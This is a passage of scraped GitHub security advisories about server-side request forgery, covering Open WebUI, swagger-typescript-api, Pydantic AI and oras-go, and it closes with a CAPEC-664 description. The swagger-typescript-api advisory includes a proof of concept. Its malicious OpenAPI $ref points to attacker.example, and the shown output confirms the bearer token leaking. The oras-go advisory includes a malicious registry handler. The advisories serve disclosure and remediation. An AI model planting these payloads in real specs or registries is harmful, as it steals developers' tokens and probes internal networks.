global-IP check, exposed as a one-off session used by every fetch behind the URL check. Upgrading to v0.11.0 resolves this with no configuration change.\n\n## Root cause\nAffected components:\n- retrieval web loader (`SafeWebBaseLoader`)\n- retrieval content probe (`get_content_from_url`)\n- chat image fetch (`get_image_base64_from_url`)\n- image edit fetch (`load_url_image`)\n- OAuth profile-picture fetch (`_process_picture_url`)\n\nThe URL check resolved the hostname and inspected the resulting IP, but nothing tied that decision to the connection that followed: the HTTP client resolved the name again on its own, and the second answer was never inspected. The check was therefore an opinion about a past lookup rather than a constraint on the actual connection, which is what a rebinding DNS server defeats. The first connection-layer guard covered only the retrieval loader, leaving the sibling probe, image and OAuth fetches on default clients until each was reported in turn.\n\n## Credits\n- @rezaduty \u2014 the rebinding time-of-check/time-of-use bypass and the retrieval loader path.\n- @nikchillz \u2014 the retrieval content-probe path.\n- @dhyabi2 \u2014 the chat `image_url` path, where the internal response is read back through the vision model.\n- @geo-chen \u2014 the image-edit path.\n- @bogdancherniy11-sudo \u2014 the OAuth profile-picture path, where the rebind also discloses the forwarded OAuth access token.",
"id": "GHSA-h6x2-583h-x99r",
"modified": "2026-08-04T21:07:58Z",
"published": "2026-08-04T20:38:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-h6x2-583h-x99r"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: DNS Rebinding SSRF Bypass"
}
GHSA-H754-FXP7-88WX
Vulnerability from github – Published: 2026-07-29 14:22 – Updated: 2026-07-29 14:22Summary
When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.
The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.
Details
The header-builder lives in src/resolved-swagger-schema.ts:81-92:
private getRemoteRequestHeaders(): Record<string, string> {
return Object.assign(
{},
this.config.authorizationToken
? {
Authorization: this.config.authorizationToken,
}
: {},
(this.config.requestOptions?.headers as
| Record<string, string>
| undefined) || {},
);
}
There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional.
getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});
…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.
Net effect: a spec whose response schema is
{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }
causes the generator to send
GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>
to attacker.example, regardless of where the original spec was hosted.
The --authorizationToken flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the intended configuration for any non-public spec.
PoC
Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):
{
"openapi": "3.0.0",
"info": { "title": "TokenLeak-payload", "version": "1.0.0" },
"paths": {
"/p": {
"get": {
"operationId": "p",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
}
}
}
}
}
}
}
}
}
Steps:
# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with --authorizationToken set.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
output: '/tmp/out',
url: 'http://127.0.0.1:<spec-port>/spec.json',
authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
httpClientType: 'fetch'
}))"
Observed:
[control] (no cross-origin $ref) → attacker-server hits: 0
[payload] ($ref → http://attacker)
attacker-server hits: 1
hit: /EXFIL_ENDPOINT/data.json Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123
TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim
The attacker-controlled endpoint received the developer's full Bearer ... token verbatim, sent by the generator while resolving the spec's $ref.
Impact
Type: Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.
Affected use cases:
- A developer fetching a private OpenAPI spec behind authentication (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of
--authorizationToken. - A CI/CD pipeline regenerating clients from a private spec on every build — the CI's authentication token (often a long-lived service-account credential) leaks on every run.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs — a tenant's malicious spec captures the SaaS provider's API key.
- Any project where a contributor can modify the pinned spec via PR — the project's CI credentials leak on first build of the malicious PR.
Lifecycle: generation-time. The token leak happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.
Privilege of stolen token: typically the developer's API authentication for the target service — a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft — the attacker gains the same scope of access the developer had.
Suggested fix:
The minimum sufficient fix is a same-origin check on the Authorization header forwarding:
// in src/resolved-swagger-schema.ts:81-92
private getRemoteRequestHeaders(targetUrl?: string): Record<string, string> {
const headers: Record<string, string> = {};
// Only attach Authorization if the target URL shares an origin with the
// user-supplied spec URL. Otherwise the token is leaked across origins.
if (
this.config.authorizationToken &&
targetUrl &&
this.isSameOrigin(targetUrl, this.config.url)
) {
headers.Authorization = this.config.authorizationToken;
}
return Object.assign(
headers,
(this.config.requestOptions?.headers as Record<string, string> | undefined) || {},
);
}
private isSameOrigin(a: string, b: string | undefined): boolean {
if (typeof b !== "string") return false;
try {
const ua = new URL(a);
const ub = new URL(b);
return ua.protocol === ub.protocol && ua.host === ub.host;
} catch {
return false;
}
}
Then update the call site fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374) to pass the destination URL:
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(url),
});
This is the same model browsers apply to credentialed fetch requests by default. It does not break legitimate same-server $refs — those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.
For deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54660"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201",
"CWE-522",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:22:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWhen the developer supplies an `--authorizationToken` (commonly required to fetch a private spec behind authentication), `swagger-typescript-api` attaches that token to the `Authorization` header of **every** subsequent HTTP request it makes while resolving external `$ref` URLs in the spec \u2014 with **no same-origin check, no host allowlist, and no scope-down** for cross-origin requests. A malicious OpenAPI spec containing a `$ref` to an attacker-controlled URL therefore causes the developer\u0027s bearer token to be sent verbatim to that URL during code generation.\n\nThe threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.\n\n### Details\n\nThe header-builder lives in `src/resolved-swagger-schema.ts:81-92`:\n\n```ts\nprivate getRemoteRequestHeaders(): Record\u003cstring, string\u003e {\n return Object.assign(\n {},\n this.config.authorizationToken\n ? {\n Authorization: this.config.authorizationToken,\n }\n : {},\n (this.config.requestOptions?.headers as\n | Record\u003cstring, string\u003e\n | undefined) || {},\n );\n}\n```\n\nThere is no check that the request\u0027s destination URL shares an origin (or scheme, or host, or even top-level domain) with `this.config.url` \u2014 the URL the user originally specified. The headers object is unconditional.\n\n`getRemoteRequestHeaders` is called by `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`):\n\n```ts\nconst response = await fetch(url, {\n headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026which is in turn called by `warmUpRemoteSchemasCache` (`src/resolved-swagger-schema.ts:399-445`) for every external `$ref` URL discovered while walking the spec.\n\nNet effect: a spec whose response schema is\n\n```json\n{ \"$ref\": \"http://attacker.example/exfil-endpoint/data.json\" }\n```\n\ncauses the generator to send\n\n```\nGET /exfil-endpoint/data.json HTTP/1.1\nHost: attacker.example\nAuthorization: \u003cfull value of --authorizationToken\u003e\n```\n\nto `attacker.example`, regardless of where the original spec was hosted.\n\nThe `--authorizationToken` flag is the standard mechanism for consuming a spec behind auth \u2014 for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting `--authorizationToken` is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be the attacker\u0027s exfil endpoint \u2014 run the generator with `authorizationToken` set, observe what the attacker endpoint received). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"TokenLeak-payload\", \"version\": \"1.0.0\" },\n \"paths\": {\n \"/p\": {\n \"get\": {\n \"operationId\": \"p\",\n \"responses\": {\n \"200\": {\n \"description\": \"OK\",\n \"content\": {\n \"application/json\": {\n \"schema\": {\n \"$ref\": \"http://127.0.0.1:\u003cattacker-port\u003e/EXFIL_ENDPOINT/data.json\"\n }\n }\n }\n }\n }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"attacker\" HTTP server on a different port from the spec server.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Run the generator with --authorizationToken set.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n output: \u0027/tmp/out\u0027,\n url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n authorizationToken: \u0027Bearer USER_GITHUB_PAT_super_secret_xyz123\u0027,\n httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed:**\n\n```\n[control] (no cross-origin $ref) \u2192 attacker-server hits: 0\n[payload] ($ref \u2192 http://attacker)\n attacker-server hits: 1\n hit: /EXFIL_ENDPOINT/data.json Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123\n TOKEN LEAKED \u2014 attacker server received user-supplied authorizationToken verbatim\n```\n\nThe attacker-controlled endpoint received the developer\u0027s full `Bearer ...` token verbatim, sent by the generator while resolving the spec\u0027s `$ref`.\n\n### Impact\n\n**Type:** Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.\n\n**Affected use cases:**\n\n- **A developer fetching a private OpenAPI spec behind authentication** (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of `--authorizationToken`.\n- **A CI/CD pipeline regenerating clients from a private spec on every build** \u2014 the CI\u0027s authentication token (often a long-lived service-account credential) leaks on every run.\n- **A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs** \u2014 a tenant\u0027s malicious spec captures the SaaS provider\u0027s API key.\n- **Any project where a contributor can modify the pinned spec via PR** \u2014 the project\u0027s CI credentials leak on first build of the malicious PR.\n\n**Lifecycle:** generation-time. The token leak happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Privilege of stolen token:** typically the developer\u0027s API authentication for the target service \u2014 a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft \u2014 the attacker gains the same scope of access the developer had.\n\n**Suggested fix:**\n\nThe minimum sufficient fix is a same-origin check on the `Authorization` header forwarding:\n\n```ts\n// in src/resolved-swagger-schema.ts:81-92\nprivate getRemoteRequestHeaders(targetUrl?: string): Record\u003cstring, string\u003e {\n const headers: Record\u003cstring, string\u003e = {};\n\n // Only attach Authorization if the target URL shares an origin with the\n // user-supplied spec URL. Otherwise the token is leaked across origins.\n if (\n this.config.authorizationToken \u0026\u0026\n targetUrl \u0026\u0026\n this.isSameOrigin(targetUrl, this.config.url)\n ) {\n headers.Authorization = this.config.authorizationToken;\n }\n\n return Object.assign(\n headers,\n (this.config.requestOptions?.headers as Record\u003cstring, string\u003e | undefined) || {},\n );\n}\n\nprivate isSameOrigin(a: string, b: string | undefined): boolean {\n if (typeof b !== \"string\") return false;\n try {\n const ua = new URL(a);\n const ub = new URL(b);\n return ua.protocol === ub.protocol \u0026\u0026 ua.host === ub.host;\n } catch {\n return false;\n }\n}\n```\n\nThen update the call site `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`) to pass the destination URL:\n\n```ts\nconst response = await fetch(url, {\n headers: this.getRemoteRequestHeaders(url),\n});\n```\n\nThis is the same model browsers apply to credentialed `fetch` requests by default. It does not break legitimate same-server `$ref`s \u2014 those still authenticate normally. It only strips the token when the target\u0027s origin differs from the spec source\u0027s origin.\n\nFor deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-h754-fxp7-88wx",
"modified": "2026-07-29T14:22:46Z",
"published": "2026-07-29T14:22:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-h754-fxp7-88wx"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`"
}
GHSA-H7P7-W5GC-XJ3W
Vulnerability from github – Published: 2026-08-13 14:16 – Updated: 2026-08-13 14:16Summary
A client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application's model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server's own credentials, allowing the client to read files it should not have access to.
Details
UI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File URL parts are validated against a scheme allowlist before being forwarded, but UploadedFile references — which point to a file by provider file ID or cloud-storage URI (e.g. s3://…, gs://…) — were forwarded without validation.
Because the provider resolves an UploadedFile using the server-side identity (IAM role, service account, or provider API key) rather than the client's, a client that crafts message history containing an attacker-chosen UploadedFile can cause the server to read objects belonging to its own account or to other tenants, given a referenceable identifier.
Impact
Applications that pass untrusted client-submitted message history to an agent through a UI adapter (such as the Vercel AI adapter). Exploitation requires the attacker to reference a valid file identifier; depending on how the application names objects, such identifiers are not always unguessable.
Patches
Upgrade to 1.106.0 (1.x) or 2.0.0b6 (the 2.x beta line), which validate UploadedFile references on client-submitted messages the same way file URLs are validated.
Workarounds
If users cannot upgrade, do not pass untrusted client-submitted message history to the agent, or strip UploadedFile parts from incoming messages before running the agent.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "1.65.0"
},
{
"fixed": "1.106.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0b1"
},
{
"fixed": "2.0.0b6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "1.65.0"
},
{
"fixed": "1.106.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0b1"
},
{
"fixed": "2.0.0b6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54249"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-13T14:16:26Z",
"nvd_published_at": "2026-07-29T21:17:47Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application\u0027s model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server\u0027s own credentials, allowing the client to read files it should not have access to.\n\n### Details\n\nUI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File **URL** parts are validated against a scheme allowlist before being forwarded, but `UploadedFile` references \u2014 which point to a file by provider file ID or cloud-storage URI (e.g. `s3://\u2026`, `gs://\u2026`) \u2014 were forwarded without validation.\n\nBecause the provider resolves an `UploadedFile` using the server-side identity (IAM role, service account, or provider API key) rather than the client\u0027s, a client that crafts message history containing an attacker-chosen `UploadedFile` can cause the server to read objects belonging to its own account or to other tenants, given a referenceable identifier.\n\n### Impact\n\nApplications that pass untrusted client-submitted message history to an agent through a UI adapter (such as the Vercel AI adapter). Exploitation requires the attacker to reference a valid file identifier; depending on how the application names objects, such identifiers are not always unguessable.\n\n### Patches\n\nUpgrade to `1.106.0` (1.x) or `2.0.0b6` (the 2.x beta line), which validate `UploadedFile` references on client-submitted messages the same way file URLs are validated.\n\n### Workarounds\n\nIf users cannot upgrade, do not pass untrusted client-submitted message history to the agent, or strip `UploadedFile` parts from incoming messages before running the agent.",
"id": "GHSA-h7p7-w5gc-xj3w",
"modified": "2026-08-13T14:16:26Z",
"published": "2026-08-13T14:16:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-h7p7-w5gc-xj3w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54249"
},
{
"type": "PACKAGE",
"url": "https://github.com/pydantic/pydantic-ai"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/releases/tag/v1.106.0"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/releases/tag/v2.0.0b6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pydantic AI: Unvalidated UploadedFile references in UI adapters allow server-side file access using the application\u0027s credentials"
}
GHSA-H7VF-4X9W-H99V
Vulnerability from github – Published: 2026-09-17 17:16 – Updated: 2026-09-17 17:16Summary
oras-go's pagination helper parseLink() in registry/remote/utils.go follows the Link response header from a registry without validating the URL's host or scheme. When a malicious registry returns a Link header containing an absolute URL pointing to an arbitrary host (e.g., a cloud metadata endpoint), the client makes GET requests to that host from the victim's network.
This affects all pagination-based listing operations: Tags, Referrers, and Repositories (catalog).
Root Cause
parseLink() at registry/remote/utils.go:54 calls resp.Request.URL.Parse(link) which, for absolute URLs, returns the absolute URL unchanged. The result is passed directly to the next pagination loop iteration where http.NewRequestWithContext() creates a GET request to the attacker-specified URL. No host comparison, scheme validation, or IP filtering exists between parseLink output and the HTTP request.
Affected Code Paths
registry/remote/repository.go:Tags()callsparseLink()for next page URLregistry/remote/repository.go:Referrers()callsparseLink()for next page URLregistry/remote/registry.go:Repositories()callsparseLink()for next page URL
Impact
Blind SSRF from the victim's network. A malicious registry operator can force any oras-go client that lists tags, referrers, or repositories to issue GET requests to arbitrary internal endpoints:
- Cloud instance metadata endpoints for service discovery and IAM role enumeration
- Internal HTTP services for port scanning and triggering side effects
- If the victim's credential store maps credentials for the SSRF target host, those credentials are attached to the request (auth.Client looks up creds by request host)
The attacker cannot read the response body (it's parsed as JSON and fails), making this a blind SSRF. However, timing and error differences can confirm internal service existence.
Attack Chain
- Victim calls
repo.Tags()/repo.Referrers()/registry.Repositories()against attacker-controlled registry - Registry returns a valid first page + malicious Link header pointing to an internal endpoint
parseLink()extracts the absolute URL with zero validation- Pagination loop makes GET request to the internal endpoint from victim's network
PoC
Expand PoC// Malicious registry handler for /v2/repo/tags/list:
func handler(w http.ResponseWriter, r *http.Request) {
// Link header points to cloud metadata or internal service
w.Header().Set("Link", `<http://internal-service:8080/admin>; rel="next"`)
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string][]string{"tags": {"v1"}})
}
// Victim code:
repo, _ := remote.NewRepository("attacker-registry.io/repo")
repo.Tags(ctx, "", func(tags []string) error { return nil })
// Result: GET http://internal-service:8080/admin is made from victim's network
Suggested Fix
Validate that the URL returned by parseLink() has the same host and scheme as the original request before using it for the next pagination request. Reject cross-host or scheme-downgrade URLs.
Reported by zx (Jace)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.1"
},
"package": {
"ecosystem": "Go",
"name": "oras.land/oras-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-85732"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:16:02Z",
"nvd_published_at": "2026-09-16T17:18:16Z",
"severity": "MODERATE"
},
"details": "## Summary\n\noras-go\u0027s pagination helper `parseLink()` in `registry/remote/utils.go` follows the `Link` response header from a registry without validating the URL\u0027s host or scheme. When a malicious registry returns a `Link` header containing an absolute URL pointing to an arbitrary host (e.g., a cloud metadata endpoint), the client makes GET requests to that host from the victim\u0027s network.\n\nThis affects all pagination-based listing operations: Tags, Referrers, and Repositories (catalog).\n\n## Root Cause\n\n`parseLink()` at `registry/remote/utils.go:54` calls `resp.Request.URL.Parse(link)` which, for absolute URLs, returns the absolute URL unchanged. The result is passed directly to the next pagination loop iteration where `http.NewRequestWithContext()` creates a GET request to the attacker-specified URL. No host comparison, scheme validation, or IP filtering exists between `parseLink` output and the HTTP request.\n\n## Affected Code Paths\n\n- `registry/remote/repository.go:Tags()` calls `parseLink()` for next page URL\n- `registry/remote/repository.go:Referrers()` calls `parseLink()` for next page URL\n- `registry/remote/registry.go:Repositories()` calls `parseLink()` for next page URL\n\n## Impact\n\n**Blind SSRF from the victim\u0027s network.** A malicious registry operator can force any oras-go client that lists tags, referrers, or repositories to issue GET requests to arbitrary internal endpoints:\n\n- Cloud instance metadata endpoints for service discovery and IAM role enumeration\n- Internal HTTP services for port scanning and triggering side effects\n- If the victim\u0027s credential store maps credentials for the SSRF target host, those credentials are attached to the request (auth.Client looks up creds by request host)\n\nThe attacker cannot read the response body (it\u0027s parsed as JSON and fails), making this a blind SSRF. However, timing and error differences can confirm internal service existence.\n\n## Attack Chain\n\n1. Victim calls `repo.Tags()` / `repo.Referrers()` / `registry.Repositories()` against attacker-controlled registry\n2. Registry returns a valid first page + malicious Link header pointing to an internal endpoint\n3. `parseLink()` extracts the absolute URL with zero validation\n4. Pagination loop makes GET request to the internal endpoint from victim\u0027s network\n\n## PoC\n\n\u003cdetails\u003e\n\u003csummary\u003eExpand PoC\u003c/summary\u003e\n\n```go\n// Malicious registry handler for /v2/repo/tags/list:\nfunc handler(w http.ResponseWriter, r *http.Request) {\n // Link header points to cloud metadata or internal service\n w.Header().Set(\"Link\", `\u003chttp://internal-service:8080/admin\u003e; rel=\"next\"`)\n w.Header().Set(\"Content-Type\", \"application/json\")\n json.NewEncoder(w).Encode(map[string][]string{\"tags\": {\"v1\"}})\n}\n\n// Victim code:\nrepo, _ := remote.NewRepository(\"attacker-registry.io/repo\")\nrepo.Tags(ctx, \"\", func(tags []string) error { return nil })\n// Result: GET http://internal-service:8080/admin is made from victim\u0027s network\n```\n\n\u003c/details\u003e\n\n## Suggested Fix\n\nValidate that the URL returned by `parseLink()` has the same host and scheme as the original request before using it for the next pagination request. Reject cross-host or scheme-downgrade URLs.\n\nReported by **zx (Jace)**",
"id": "GHSA-h7vf-4x9w-h99v",
"modified": "2026-09-17T17:16:02Z",
"published": "2026-09-17T17:16:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-h7vf-4x9w-h99v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85732"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/commit/31da1963f8c327dd089cd29faeae95cf0fc50842"
},
{
"type": "PACKAGE",
"url": "https://github.com/oras-project/oras-go"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "oras-go: Blind SSRF via unvalidated Link header URL in pagination allows internal network probing"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.